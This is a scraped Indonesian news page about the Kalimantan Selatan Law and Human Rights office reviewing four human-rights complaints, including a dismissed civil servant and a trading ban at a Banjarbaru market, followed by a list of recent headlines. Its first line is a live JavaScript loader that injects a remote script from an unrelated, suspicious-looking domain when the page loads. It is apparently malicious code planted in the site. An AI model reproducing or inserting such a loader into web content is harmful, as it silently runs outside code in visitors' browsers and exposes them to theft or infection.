(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kemenkum HAM Selidiki 4 Kasus Dugaan Pelanggaran HAM di Kalsel


BANJARBARU, Kanwil Kementerian Hukum dan HAM Provinsi Kalimantan Selatan menelisik empat laporan dugaan pelanggaran HAM yang masuk ke instansi vertikal tersebut. Empat kasus dugaan pelanggaran HAM ini dilaporkan lewat Pelayanan Komunikasi Masyarakat (Yankomas).

Untuk menjamin kepastian layanan, Kemenkumham Kalsel menggelar koordinasi dan konsultasi teknis Yankomas pada Kamis (8/8). Rapat dihadiri Direktur Yankomas Johno Supriyanto bersama Kepala Divisi Pelayanan Hukum dan HAM Subianta Mandala dan Kepala Bidang HAM Kanwil Kemenkumham Kalsel, Rosita Amperawati.

”Dari beberapa penaganan dugaan pelanggaran HAM yang dikomunikasikan ke kantor wilayah maupun langsung ke Ditjen HAM telah ditindaklanjuti dengan mengirim surat terkait rekomendasi berdasar keputusan rapat Tim Yankomas Kanwil,” kata Rosita Amperawarti lewat siaran pers.

Empat kasus yang dibahas terdiri dari dugaan pelanggaran HAM lewat penyampaian komunikasi (PK) terhadap seorang ASN di Pemkab Hulu Sungai Selatan (HSS) inisial YKN. YKN keberatan atas keputusan Bupati HSS yang memberhentikan YKN secara tidak hormat. Menurut Rosita, pelaporan dari YKN terkait jabatan dalam struktur ASN.

“Selanjutnya PK inisial M yang merasa tidak bersalah terkait pidana yang dijalaninya sehingga yang bersangkutan mengajukan ganti rugi terhadap perampasan kemerdekaaanya selama dua tahun menjalani pidana di Lapas Kelas IIA Banjarmasin,” ujar Rosita Amperawati.

Kasus yang ketiga melibatkan HG yang dirugikan oleh PT Arutmin Indonesia. Adapun PK yang keempat melibatkan GI karena menolak larangan berdagang di Pasar Subuh Bauntung, Kota Banjarbaru.

Kepala Divisi Pelayanan Hukum dan HAM, Subianta Mandala, menambahkan kasus dugaan pelanggaran HAM masih tahap pangaduan atau PK. Pihaknya akan menindaklanjuti lewat klarifikasi ke pihak-pihak terlapor.

Tim Yankomas Pusat dari Sub Direktorat Yankomas Wilayah III terdiri dari Kasubdit Yankomas Kortini J.M.Sihotang, Kasi Hak Sipil dan Politik Achmad Santoso, serta JFU Riefky Bagas Prabowo melakukan klarifikasi kepada terlapor dan pihak-pihak terkait. “Selanjutnya Tim Yankomas pusat merekomendasikan agar dilakukan peninjau lapangan,” ucap Subianta. (Rico)

Reporter : Rico
Editor : Chell


Desy Arfianty

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

6 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

6 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

7 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

7 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

7 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

11 jam ago

This website uses cookies.